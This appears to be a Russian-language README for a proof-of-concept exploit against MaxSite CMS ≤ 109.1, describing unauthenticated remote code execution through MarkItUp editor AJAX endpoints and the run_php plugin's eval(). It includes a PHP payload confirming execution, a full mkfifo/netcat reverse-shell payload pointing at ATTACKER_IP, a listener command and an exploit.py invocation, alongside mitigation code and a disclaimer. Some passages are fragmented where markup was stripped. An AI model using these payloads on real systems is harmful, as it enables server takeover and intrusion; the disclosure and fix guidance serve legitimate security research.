
Эксплойт класса proof-of-concept для неаутентифицированного удалённого выполнения кода в MaxSite CMS <= 109.1 через AJAX-эндпоинты редактора MarkItUp, с детектированием и полезными нагрузками reverse shell.
Уязвимость неавторизованного удалённого выполнения кода (RCE) в MaxSite CMS ≤ 109.1.
Проблема возникает из‑за слабых проверок авторизации в AJAX‑конечных точках плагина редактора MarkItUp в сочетании с небезопасным выполнением пользовательского PHP‑кода плагином run_php.
Уязвимость затрагивает следующие файлы в плагине редактора MarkItUp:
preview-ajax.phpautosave-post-ajax.phpЭти конечные точки:
run_php[php]...[/php] с помощью eval()Злоумышленник может отправить специально сформированный POST‑запрос на маршрут /ajax/, содержащий закодированный в Base64 внутренний путь и вредоносную PHP‑нагрузку через параметр data, что приводит к:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]run_php включён (обычно по умолчанию)eval()Включён эксплойт‑прототип на Python 3 (exploit.py).
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php, если он не требуетсяДобавьте проверки аутентификации в уязвимые файлы:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
Коммит с исправлением https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
Запись об уязвимости https://vuldb.com/?id.348281
Этот проект предоставляется для:
⚠️ Не используйте против систем без явного разрешения.
Автор не несёт ответственности за неправомерное использование или ущерб.
Mohammed Idrees Banyamer Иордания 🇯🇴 Исследователь безопасности
banyamer_security — Silent Hunter • Shadow Presence
Март 2026